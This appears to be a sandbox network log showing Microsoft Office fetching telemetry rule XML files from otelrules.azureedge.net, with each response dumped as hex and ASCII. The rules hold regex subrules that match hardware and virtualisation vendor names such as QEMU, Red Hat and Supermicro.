2024-10-29 14:27:22 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-15b8d89586f42m673h1quuee4s0000000an000000000dgmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-16849878b78qf2gleqhwczd21s00000006wg000000006k1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-16849878b786jv8w2kpaf5zkqs00000005ng0000000003b7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-16849878b78xblwksrnkakc08w00000005v000000000gs2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:23 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-16849878b786fl7gm2qg4r5y7000000006tg00000000pd0e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:23 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142723Z-16849878b782d4lwcu6h6gmxnw00000006cg000000004m00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:24 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142724Z-16849878b78bjkl8dpep89pbgg00000005d0000000005sx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:24 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142724Z-16849878b78j5kdg3dndgqw0vg00000008a000000000ff4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:24 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142724Z-16849878b78q9m8bqvwuva4svc000000057g000000005vga x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:24 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:24 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142724Z-16849878b787wpl5wqkt5731b400000007b000000000ha40 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:24 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2fe3f320-d01e-0065-1a0d-29b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142724Z-r197bdfb6b4mcssrvu34xzqc5400000006q000000000b80x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:25 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
